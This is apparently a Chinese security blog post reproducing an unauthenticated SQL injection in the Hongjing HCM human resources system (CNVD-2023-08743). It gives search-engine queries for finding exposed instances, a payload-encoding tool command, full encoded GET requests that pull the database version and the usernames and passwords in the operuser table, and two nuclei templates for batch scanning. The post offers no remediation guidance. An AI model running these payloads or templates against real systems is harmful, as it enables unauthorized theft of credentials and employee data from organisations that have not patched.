首页 > 数据库 >宏景HCM SQL注入漏洞复现(CNVD-2023-08743)

宏景HCM SQL注入漏洞复现(CNVD-2023-08743)

时间:2023-09-15 09:36:39浏览次数:40  
标签:宏景 27 20 CNVD 31 SQL 2d 2023 categories

漏洞概述

宏景HCM 存在SQL注入漏洞,未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令,从而窃取数据库敏感信息。

影响范围

宏景HCM<8.2

漏洞复现

fofa语法:FOFA:body='<div class="hj-hy-all-one-logo"'
鹰图语法:app.name="宏景 HCM"
POC:(注入点是categories字段)
/servlet/codesettree?categories=[加密后的恶意sql]&codesetid=1&flag=c&parentid=-1&status=1
注:这里需要对hrms中的sql语句进行编码 
工具地址:https://github.com/vaycore/HrmsTool
java -jar HrmsTool.jar -e "1' union all select 'hongjing',@@version--"

构造payload(查询数据库版本)

GET /servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d&codesetid=1&flag=c&parentid=-1&status=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

验证POC:

/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d

nuclei批量yaml脚本

id: hongjing_HCM_codesettree_sqli
info:
  name: 宏景eHR SQL注入漏洞复现(CNVD-2023-08743)
  author: mhb17
  severity: high
  description: description
  reference:
    - https://
  tags: sqli
requests:
  - raw:
      - |+
        GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d HTTP/1.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
        Host: {{Hostname}}
        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ' <TreeNode id="1"'
      - type: word
        part: header
        words:
          - 'Content-Type: text/xml'
      - type: word
        part: header
        words:
          - '200'
id: CNVD-2023-08743

info:
  name: Hongjing Human Resource Management System - SQL Injection
  author: SleepingBag945
  severity: critical
  description: There is a SQL injection vulnerability in the categories of Hongjing Human Resource Management System, from which attackers can obtain sensitive database information.
  reference:
    - https://www.henry4e36.top/index.php/archives/162.html
    - https://blog.csdn.net/qq_41904294/article/details/130944159
  metadata:
    max-request: 1
    verified: true
    fofa-query: title="人力资源信息管理系统"
  tags: cnvd,cnvd2023,hongjing,hcm

http:
  - raw:
      - |
        GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/xml")'
          - 'contains_all(body,"TreeNode id=\"hongjing","SQL Server")'
        condition: and

标签:宏景,27,20,CNVD,31,SQL,2d,2023,categories
From: https://www.cnblogs.com/pursue-security/p/17704093.html

相关文章

  • 宏景HCM 任意文件上传漏洞复现
    漏洞概述宏景HCMOfficeServer.jsp接口处存在任意文件上传漏洞,未经过身份认证的远程攻击者可利用此漏洞上传任意文件,最终可导致服务器失陷。漏洞复现鹰图指纹:app.name="宏景HCM"fofa语法:app="HJSOFT-HCM"登录页面如下:POC:POST/w_selfservice/oauthservlet/%2e./.%2e/syst......
  • 2023秋Java开学考试代码优化
    publicclassWarehouseInformation{privateStringitemno;privateStringitemname;privateStringsuppliername;privateStringwarehousingtime;privateStringwarehousenumber;privateStringshipmenttime;privateStringwareho......
  • 20230914
    今天是满课。早上UML课,感觉收获真的很多,了解到了很多软件开发中的知识。然后上体育课,排球好难,学不会,呜呜呜。下午算法与数据结构课,很抱歉的是,讲的单链表双链表之前就学过一点点,上课听的没意思,然后就摸鱼看JavaScript的很多知识,发现这玩意儿的语法确实很有趣,但是一些之前历史遗留......
  • 2023.09.14
        今天主要学习了继承,四种访问修饰符,方法重写,以及多态。同时上数据结构学习了关于单链表的创建,插入,删除,前插入,后插入的学习循环链表,双向链表的学习。在继承中用到extands来进行子类对父类的继承如:public classStudentextendsSE(){};表示学生对SE的继承。(继承可......
  • ES2023 Array new features All In One
    ES2023ArraynewfeaturesAllInOnechangeArraybycopyArray.toReversed()constnumbers=[1,2,3,4,5,6,7,8,9];constreversed=numbers.toReversed();console.log("reversed=",reversed);//reversed=[9,8,7,6,5,4,3,2,1]co......
  • 20230914打卡
    首先,我学习了UML的简要概念。UML是一种用于软件系统分析与设计的标准化语言,通过图形表示方法,可以清晰地描述软件系统的结构与行为。通过学习UML,我掌握了用例图、类图和时序图等基本图形的绘制方法,从而能够更好地理解和沟通软件系统的设计和实现。其次,我参加了篮球训练。篮球是一......
  • 2023.9.14 整数二分排序
    1#二分23##整数二分45~~~c++6//区间[l,r]被划分成[l,mid]和[mid+1,r]时使用7inttest01(intl,intr)8{9while(l<r)10{11intmid=(l+r)/2;12boolcheck(intmid);//check判断mid是否满足x性质13if(check(......
  • 2023/09/14
     classSolution{public:vector<int>twoSum(vector<int>&nums,inttarget){for(inti=0;i<nums.size();i++){for(intj=i+1;j<nums.size();j++){if(nums[i]+nums[j]==targe......
  • 【愚公系列】2023年09月 WPF控件专题 Expander控件详解
    (文章目录)前言WPF控件是WindowsPresentationFoundation(WPF)中的基本用户界面元素。它们是可视化对象,可以用来创建各种用户界面。WPF控件可以分为两类:原生控件和自定义控件。原生控件是由Microsoft提供的内置控件,如Button、TextBox、Label、ComboBox等。这些控件都是WPF中常见......
  • 2023年9月14日
    效果图图1图2浮动显示信息、导航栏HTML<!DOCTYPEhtml><html> <head> <metacharset="utf-8"/> <title>2023年9月14日</title> <linkrel="stylesheet"href="./css/index_style.css"> </head> <b......